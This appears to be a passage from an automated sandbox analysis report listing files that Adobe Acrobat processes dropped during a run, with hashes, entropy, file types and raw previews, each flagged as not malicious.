SHA-512:	FE8DD84D068947C258E3A925175E5F064DE90374B6739D91E295C58DE1E19E81D9F5F909E7297F4AEF8D826A5B069AD9657328F990F5DD401268DB53E8FF6EA7
Malicious:	false
Preview:	2025/01/10-14:18:27.038 1d7c Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/MANIFEST-000001.2025/01/10-14:18:27.052 1d7c Recovering log #3.2025/01/10-14:18:27.072 1d7c Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG.old (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	332
Entropy (8bit):	5.1907607885834
Encrypted:	false
SSDEEP:	6:iO4mpOV+q2PcNwi2nKuAl9OmbzNMxIFUtSmFMZZmwsmvFqNVkwOcNwi2nKuAl9Ob:77kV+vLZHAa8jFUtZSZ/HvMNV54ZHAab
MD5:	8050C97CAEF0CDE3C4586E82CCE2F884
SHA1:	6283E43689548089DB9B3105B163CEDBC79E3F7E
SHA-256:	29A4063CC3DDA7B8FAD478AA0032FEB6C9F86E54EE8A2ED6EC1FF0DF53786DB5
SHA-512:	FE8DD84D068947C258E3A925175E5F064DE90374B6739D91E295C58DE1E19E81D9F5F909E7297F4AEF8D826A5B069AD9657328F990F5DD401268DB53E8FF6EA7
Malicious:	false
Preview:	2025/01/10-14:18:27.038 1d7c Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/MANIFEST-000001.2025/01/10-14:18:27.052 1d7c Recovering log #3.2025/01/10-14:18:27.072 1d7c Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite 3.x database, last written using SQLite version 3040000, file counter 15, database pages 21, cookie 0x5, schema 4, UTF-8, version-valid-for 15
Category:	dropped
Size (bytes):	86016
Entropy (8bit):	4.439004820320664
Encrypted:	false
SSDEEP:	384:yeaci5GgiBA7vEmzKNURFXoD1NC1SK0gkzPlrFzqFK/WY+lUTTcKqZ5bEmzVz:1MurVgazUpUTTGt
MD5:	9044DB91BDAEC6732D514645BCC9B3AB
SHA1:	BE792B3E02834F6D27A05083215D7A862F3FE012
SHA-256:	16406E91F4A2366EAFBE5327427B798804C5C72869A61205A8951D47285322A6
SHA-512:	D8EC50B5B78BD1797E7445A800ECA967DEB2C7EB0E241468B601576046C4A4899FDBDE47271431778FD8665EA8C502F060B02C1E638F8D2E40964DA63A9A0250
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................c.......1........T...U.1.D............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages-journal

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite Rollback Journal
Category:	dropped
Size (bytes):	8720
Entropy (8bit):	3.778168789008213
Encrypted:	false
SSDEEP:	48:7M+p/E2ioyVZioy3DoWoy1CABoy15KOioy1noy1AYoy1Wioy1hioybioypoy1noX:7lpjuZ0iAfXKQgOb9IVXEBodRBkb
MD5:	58398CEF269430CC939E083E49DE7ADF
SHA1:	7B1039786F3E904B5E869D098E65BE7F7A90C5FB
SHA-256:	30E1BFC91F22657C4A849D35DEC8DC8200BD3B591996FF91EC3599D0F6475999
SHA-512:	D45829D5A8C383408BE69F4317DCA6BAAE851F957F0C7C281B2370BF86CB2454B70E15123B43973480678F5F920114C8C462EC90C8858C637C69CD0294927C65
Malicious:	false
Preview:	.... .c.....X..~...............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................T...[...b...r...t...}.....L..............................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\2D85F72862B55C4EADD9E66E06947F3D

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	Certificate, Version=3
Category:	dropped
Size (bytes):	1391
Entropy (8bit):	7.705940075877404
Encrypted:	false
SSDEEP:	24:ooVdTH2NMU+I3E0Ulcrgdaf3sWrATrnkC4EmCUkmGMkfQo1fSZotWzD1:ooVguI3Kcx8WIzNeCUkJMmSuMX1
MD5:	0CD2F9E0DA1773E9ED864DA5E370E74E
SHA1:	CABD2A79A1076A31F21D253635CB039D4329A5E8
SHA-256:	96BCEC06264976F37460779ACF28C5A7CFE8A3C0AAE11A8FFCEE05C0BDDF08C6
SHA-512:	3B40F27E828323F5B91F8909883A78A21C86551761F27B38029FAAEC14AF5B7AA96FB9F9CC93EE201B5EB1D0FEF17B290747E8B839D2E49A8F36C5EBF3C7C910
Malicious:	false
Preview:	0..k0..S............@.YDc.c...0....H........0O1.0...U....US1)0'..U... Internet Security Research Group1.0...U....ISRG Root X10...150604110438Z..350604110438Z0O1.0...U....US1)0'..U... Internet Security Research Group1.0...U....ISRG Root X10.."0....H.............0..........$s..7.+W(.....8..n<.W.x.u...jn..O(..h.lD...c...k....1.!~.3<.H..y.....!.K...qiJffl.~<p..)"......K...~....G.\|.H#S.8.O.o...IW..t../.8.{.p!.u.0<.....c...O..K~.....w...{J.L.%.p..)..S$........J.?..aQ.....cq...o[...\4ylv.;.by.../&.....................6....7..6u...r......I......A..v........5/(.l....dwnG7..Y^h..r...A)>Y>.&.$...Z.L@.F....:Qn.;.}r...xY.>Qx....../..>{J.Ks......P.\|C.t..t.....0.[q6....00\H..;..}`...).........A.......\|.;F.H..v.v..j.=...8.d..+..(.....B.".'].y...p..N..:..'Qn..d.3CO......B0@0...U...........0...U.......0....0...U......y.Y.{....s.....X..n0...*.H.............U.X....P.....i ')..au\.n...i/..VK..s.Y.!.~.Lq...`.9....!V..P.Y...Y.............b.E.f..\|o..;.....'...}~.."......

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\77EC63BDA74BD0D0E0426DC8F8008506

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	Microsoft Cabinet archive data, Windows 2000/XP setup, 71954 bytes, 1 file, at 0x2c +A "authroot.stl", number 1, 6 datablocks, 0x1 compression
Category:	dropped
Size (bytes):	71954
Entropy (8bit):	7.996617769952133
Encrypted:	true
SSDEEP:	1536:gc257bHnClJ3v5mnAQEBP+bfnW8Ctl8G1G4eu76NWDdB34w18R5cBWcJAm68+Q:gp2ld5jPqW8LgeulxB3fgcEfDQ
MD5:	49AEBF8CBD62D92AC215B2923FB1B9F5
SHA1:	1723BE06719828DDA65AD804298D0431F6AFF976
SHA-256:	B33EFCB95235B98B48508E019AFA4B7655E80CF071DEFABD8B2123FC8B29307F
SHA-512:	BF86116B015FB56709516D686E168E7C9C68365136231CC51D0B6542AE95323A71D2C7ACEC84AAD7DCECC2E410843F6D82A0A6D51B9ACFC721A9C84FDD877B5B
Malicious:	false
Preview:	MSCF............,...................I..................XaK .authroot.stl.[.i..6..CK..<Tk......4.cl!Kg..E..Y.f_..".$mR"$.J.E.KB."..rKv.."{.g....3.W.....c..9.s...=....y6#..x..........D......\(.#.s.!.A.......cd.c........+^.ov...n.....3BL..0.......BPUR&.X..02.q...R...J.....w.....b.vy>....-.&..(..oe."."...J9...0U.6J..\|U..S.....M.F8g...=.......p...........l.?3.J.x.G.Ep..$g..tj......)v]9(:.)W.8.Op.1Q..:.nPd........7.7..M].V F..g.....12..!7(...B.......h.RZ.......l.<.....6..Z^.`p?... .p.Gp.#.'.X..........\|!.8.....".m.49r?.I...g...8.v.....a``.g.R4.i...J8q....NFW,E.6Y....!.o5%.Y.....R..<..S9....r....WO...(.....F..Q=....-..7d..O(....-..+k.........K..........{Q....Z..j._.E...QZ.~.\.^......N.9.k..O.}dD.b1r...[}/....T..E..G..c.\|.c.&>?..^t. ..;..X.d.E.0G....[Q.,......#.Dp..L.o\|#syc.J............}G-.ou6.=52..XWi=...m.....^u......c..fc?&pR7S5....I...j.G........j.j..Tc.El.....B.pQ.,Bp....j...9g.. >..s..m#.Nb.o_u.M.V...........\#...v..Mo\sF..s....Y...

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\2D85F72862B55C4EADD9E66E06947F3D

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	data
Category:	dropped
Size (bytes):	192
Entropy (8bit):	2.7386214950254377
Encrypted:	false
SSDEEP:	3:kkFklZ9UxGbPtfllXlE/HT8k/XtNNX8RolJuRdxLlGB9lQRYwpDdt:kKTxGDeT82DNMa8RdWBwRd
MD5:	5F57095A82CA5CAE42B3557CF8FCB4B4
SHA1:	8843A3F9DDD742DD67D7F63AB16163342308E371
SHA-256:	7AA67CEF9975FACD4BFF574795A566149590CCA8B57928EE779259F5540342AC
SHA-512:	8E203D6FC74A38B6AD3F3257F1FE079475E96EB01CF1B4FCE540A2AE1CE3D55AE2A1DEFDDD7F89D800BCF8F5F31E11D6A554F965373C79DD94CF4E78DA91BA70
Malicious:	false
Preview:	p...... ........j.tq.c..(....................................................... ..........W....................o...h.t.t.p.:././.x.1...i...l.e.n.c.r...o.r.g./...".6.4.c.d.6.6.5.4.-.5.6.f."...

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\77EC63BDA74BD0D0E0426DC8F8008506

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	data
Category:	modified
Size (bytes):	328
Entropy (8bit):	3.242990426783058
Encrypted:	false
SSDEEP:	6:kKCtL9UswD8HGsL+N+SkQlPlEGYRMY9z+4KlDA3RUebT3:eiDImsLNkPlE99SNxAhUe/3
MD5:	B2BFFEB21DF2194BFBDDABFA7D058EEF
SHA1:	36ABBAD2FF9DD67A8048CEDE65EE8B3FC6BD9AD2
SHA-256:	A427AC4560F7E1164AA38E043604B44F73F87758DBDA5A93CD0745767A33B690
SHA-512:	4DF60F887345E9933B74224C1D56A38DAC8578EF8C61A8860C455E5321F2E58508651501C6F5A46295C67117FFC11D7D5CA4A1E83BCD95393443E3767655E43B
Malicious:	false
Preview:	p...... ...........c..(....................................................... ........G..@.......&......X........h.t.t.p.:././.c.t.l.d.l...w.i.n.d.o.w.s.u.p.d.a.t.e...c.o.m./.m.s.d.o.w.n.l.o.a.d./.u.p.d.a.t.e./.v.3./.s.t.a.t.i.c./.t.r.u.s.t.e.d.r./.e.n./.a.u.t.h.r.o.o.t.s.t.l...c.a.b...".a.7.2.8.2.e.b.4.0.b.1.d.a.1.:.0."...

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeCMapFnt23.lst (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	1233
Entropy (8bit):	5.233980037532449
Encrypted:	false
SSDEEP:	24:kk8id8HxPsMTtrid8OPgx4sMDHFidZxDWksMwEidMKRxCsMWaOtidMLgxT2sMW0l:pkxPhtgNgx4pyZxakazxCIK2gxap
MD5:	8BA9D8BEBA42C23A5DB405994B54903F
SHA1:	FC1B1646EC8A7015F492AA17ADF9712B54858361
SHA-256:	862DE2165B9D44422E84E25FFE267A5E1ADE23F46F04FC6F584C4943F76EB75C
SHA-512:	26AD41BB89AF6198515674F21B4F0F561DC9BDC91D5300C154065C57D49CCA61B4BA60E5F93FD17869BDA1123617F26CDA0EF39935A9C2805F930A3DB1956D5A
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeFnt23.lst.7068

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	1233
Entropy (8bit):	5.233980037532449
Encrypted:	false
SSDEEP:	24:kk8id8HxPsMTtrid8OPgx4sMDHFidZxDWksMwEidMKRxCsMWaOtidMLgxT2sMW0l:pkxPhtgNgx4pyZxakazxCIK2gxap
MD5:	8BA9D8BEBA42C23A5DB405994B54903F
SHA1:	FC1B1646EC8A7015F492AA17ADF9712B54858361
SHA-256:	862DE2165B9D44422E84E25FFE267A5E1ADE23F46F04FC6F584C4943F76EB75C
SHA-512:	26AD41BB89AF6198515674F21B4F0F561DC9BDC91D5300C154065C57D49CCA61B4BA60E5F93FD17869BDA1123617F26CDA0EF39935A9C2805F930A3DB1956D5A
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeSysFnt23.lst (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	1233
Entropy (8bit):	5.233980037532449
Encrypted:	false
SSDEEP:	24:kk8id8HxPsMTtrid8OPgx4sMDHFidZxDWksMwEidMKRxCsMWaOtidMLgxT2sMW0l:pkxPhtgNgx4pyZxakazxCIK2gxap
MD5:	8BA9D8BEBA42C23A5DB405994B54903F
SHA1:	FC1B1646EC8A7015F492AA17ADF9712B54858361
SHA-256:	862DE2165B9D44422E84E25FFE267A5E1ADE23F46F04FC6F584C4943F76EB75C
SHA-512:	26AD41BB89AF6198515674F21B4F0F561DC9BDC91D5300C154065C57D49CCA61B4BA60E5F93FD17869BDA1123617F26CDA0EF39935A9C2805F930A3DB1956D5A
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\Cache\AcroFnt23.lst (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	10880
Entropy (8bit):	5.214360287289079
Encrypted:	false
SSDEEP:	192:SgAYm4DAv6oq6oCf6ocL6oz6o46ok6o16ok6oKls6oVtfZ6ojtou6o2ti16oGwX/:SV548vvqvSvivzv4vkv1vkvKlsvVtfZp
MD5:	B60EE534029885BD6DECA42D1263BDC0
SHA1:	4E801BA6CA503BDAE7E54B7DB65BE641F7C23375
SHA-256:	B5F094EFF25215E6C35C46253BA4BB375BC29D055A3E90E08F66A6FDA1C35856
SHA-512:	52221F919AEA648B57E567947806F71922B604F90AC6C8805E5889AECB131343D905D94703EA2B4CEC9B0C1813DDA6EAE2677403F58D3B340099461BBCD355AE
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\Cache\AdobeFnt23.lst.7068

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	10880
Entropy (8bit):	5.214360287289079
Encrypted:	false
SSDEEP:	192:SgAYm4DAv6oq6oCf6ocL6oz6o46ok6o16ok6oKls6oVtfZ6ojtou6o2ti16oGwX/:SV548vvqvSvivzv4vkv1vkvKlsvVtfZp
MD5:	B60EE534029885BD6DECA42D1263BDC0
SHA1:	4E801BA6CA503BDAE7E54B7DB65BE641F7C23375
SHA-256:	B5F094EFF25215E6C35C46253BA4BB375BC29D055A3E90E08F66A6FDA1C35856
SHA-512:	52221F919AEA648B57E567947806F71922B604F90AC6C8805E5889AECB131343D905D94703EA2B4CEC9B0C1813DDA6EAE2677403F58D3B340099461BBCD355AE
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\ACROBAT_READER_MASTER_SURFACEID

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	295
Entropy (8bit):	5.367014830423496
Encrypted:	false
SSDEEP:	6:YEQXJ2HX6avaBAV1HWWsGiIPEeOF0YTeoAvJM3g98kUwPeUkwRe9:YvXKXXiBATRsdTeOzVGMbLUkee9
MD5:	B031294F35B7B814476C779E713AE8C8
SHA1:	BEC59063D98B3FA3B424C3065C0CD3985DBA997F
SHA-256:	DF06047886B162C2656C90D79EE3440F7F60180D9B82586F5A247747C7BF6578
SHA-512:	7A4C8FF42618F4DD1266BB4E8BF19EFF35C1C7FE07534856D29B1B2718C28A560AB8025BE8FF4BA93BC0351EFAD665F16583E770C5BD6393A2BF5D83BF410D37
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"a0956575-d3dc-4fae-a63d-2ccd08e3bd7c","sophiaUUID":"83ABFDB2-FC78-4BD3-A96C-A13541192F3B"},"encodingScheme":true,"expirationDTS":1736712501194,"statusCode":200,"surfaceID":"ACROBAT_READER_MASTER_SURFACEID","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_FirstMile_Home_View_Surface

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	294
Entropy (8bit):	5.301774704159651
Encrypted:	false
SSDEEP:	6:YEQXJ2HX6avaBAV1HWWsGiIPEeOF0YTeoAvJfBoTfXpnrPeUkwRe9:YvXKXXiBATRsdTeOzVGWTfXcUkee9
MD5:	30554FAB3BF1F45C6F2FB5A97ADCB017
SHA1:	BA76D4850C6D2D8BA5FAB36D97CB16305CE06D92
SHA-256:	10A9743E51011AC89495B5D37D71EB15AF4D7B4BA50F9FAC1A983375127E4C18
SHA-512:	F26B5C87DF7BC9D80DD6909788AD3FA219F10C79FFAFD460169C66AD679DDA5FA64F4FCE4E1C9BE2844B494832FB79F7073248CACEA79EB89A4E9CD54183DFE1
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"a0956575-d3dc-4fae-a63d-2ccd08e3bd7c","sophiaUUID":"83ABFDB2-FC78-4BD3-A96C-A13541192F3B"},"encodingScheme":true,"expirationDTS":1736712501194,"statusCode":200,"surfaceID":"DC_FirstMile_Home_View_Surface","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_FirstMile_Right_Sec_Surface

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	294
Entropy (8bit):	5.279535774531476
Encrypted:	false
SSDEEP:	6:YEQXJ2HX6avaBAV1HWWsGiIPEeOF0YTeoAvJfBD2G6UpnrPeUkwRe9:YvXKXXiBATRsdTeOzVGR22cUkee9
MD5:	D8C088B79610B4BE8B8E62C26216B795
SHA1:	F105F3DFDE15F6C8AE4CD6BC89EBDB81811597AB
SHA-256:	0A275987779A1AB59A507121307C69795A1025EF153490028552F94C25CEEFB1
SHA-512:	BE8F138921B78892078DF604B50FB9DAE430F2C52B6204498243DBEAD3D80C4DF694252C7CD3847356BB10DE13253EFC3F59DC743BA21A97EA89C4815630D0E3
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"a0956575-d3dc-4fae-a63d-2ccd08e3bd7c","sophiaUUID":"83ABFDB2-FC78-4BD3-A96C-A13541192F3B"},"encodingScheme":true,"expirationDTS":1736712501194,"statusCode":200,"surfaceID":"DC_FirstMile_Right_Sec_Surface","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_READER_LAUNCH_CARD

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	285
Entropy (8bit):	5.354021254424147
Encrypted:	false
SSDEEP:	6:YEQXJ2HX6avaBAV1HWWsGiIPEeOF0YTeoAvJfPmwrPeUkwRe9:YvXKXXiBATRsdTeOzVGH56Ukee9
MD5:	2EF7C171C9985501D07B863F7839B401
SHA1:	92FCA9A9BF979B77534A421F59B0F562E9D4837A
SHA-256:	74DDB3385611EB78472E4C35E97F3EEF066BC65EF246591196D82C1F7FEAC74E
SHA-512:	888542D20E10155C76174EFB138B49D571A59A5D1CBAE995F837F74C4771386F133A6033544C5C6E45BEB7A552CF1DDB026FE3C6A35B2F71491D580CB2EBBE50
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"a0956575-d3dc-4fae-a63d-2ccd08e3bd7c","sophiaUUID":"83ABFDB2-FC78-4BD3-A96C-A13541192F3B"},"encodingScheme":true,"expirationDTS":1736712501194,"statusCode":200,"surfaceID":"DC_READER_LAUNCH_CARD","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Convert_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1123
Entropy (8bit):	5.680815385099648
Encrypted:	false
SSDEEP:	24:Yv6XXiBKmeOz6pLgE9cQx8LennAvzBvkn0RCmK8czOCCS6:YvFXeU6hgy6SAFv5Ah8cv/6
MD5:	739AA84C1B16CEF7200596FF014741ED
SHA1:	3E1A4535658EF31DC7CDDEEF7D83D8C9B2B8BBCA
SHA-256:	1D44FB6B5DF68F0869C32E5A1EAE37FD7B46C2A99103CCE22CC6DA7D3B7DBB6B
SHA-512:	4B4616E7D6743BFFB3499A6011FFCE4EBB441DB2E66E4F6E29BE4CB73058F15B7F33D8EC889FE1248360FA5724DC5E61F4CFEFF00BF71FEA9F8F2692961A05E0
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"a0956575-d3dc-4fae-a63d-2ccd08e3bd7c","sophiaUUID":"83ABFDB2-FC78-4BD3-A96C-A13541192F3B"},"encodingScheme":true,"expirationDTS":1736712501194,"statusCode":200,"surfaceID":"DC_Reader_Convert_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{"surfaceId":"DC_Reader_Convert_LHP_Banner"},"containerMap":{"1":{"containerAnalyticsData":{"actionBlockId":"93365_289436ActionBlock_1","campaignId":93365,"containerId":"1","controlGroupId":"","treatmentId":"d5bba1ae-6009-4d23-8886-fd4a474b8ac9","variationId":"289436"},"containerId":1,"containerLabel":"JSON for DC_Reader_Convert_LHP_Banner","content":{"data":"eyJjdGEiOnsidGV4dCI6IkZyZWUgdHJpYWwiLCJjbGljayI6Im9wZW5Ub29sIiwidG9vbF9pZCI6IkNvbnZlcnRQREZSZHJSSFBBcHAifSwidWkiOnsidGl0bGVfc3R5bGluZyI6eyJmb250X3NpemUiOiIxNHB4IiwiZm9udF9zdHlsZSI6IjAifSwiZGVzY3JpcHRpb25fc3R5bGluZyI6eyJmb250X3NpemUiOiIxMnB4IiwiZm9udF9zdHlsZSI6Ii0xIn0sInRpdGxlIjpudWxsLCJkZXNjcmlwdGlvbiI6IkV4cG9ydCBQREZzIHRvIE1pY3Jvc29mdCBXb3JkIGFuZCBFeGNlbC4ifSwidGNh

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Disc_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	289
Entropy (8bit):	5.285501926698782
Encrypted:	false
SSDEEP:	6:YEQXJ2HX6avaBAV1HWWsGiIPEeOF0YTeoAvJf8dPeUkwRe9:YvXKXXiBATRsdTeOzVGU8Ukee9
MD5:	5CD508D09E7587392AA01AFB75BBFFFB
SHA1:	77C3232DD2C30E8733F2515EF40C6C183CC6A043
SHA-256:	272FB3A96B53E87F395808F67F3E60B0675845C6D25877B7ECC210E41446F12A
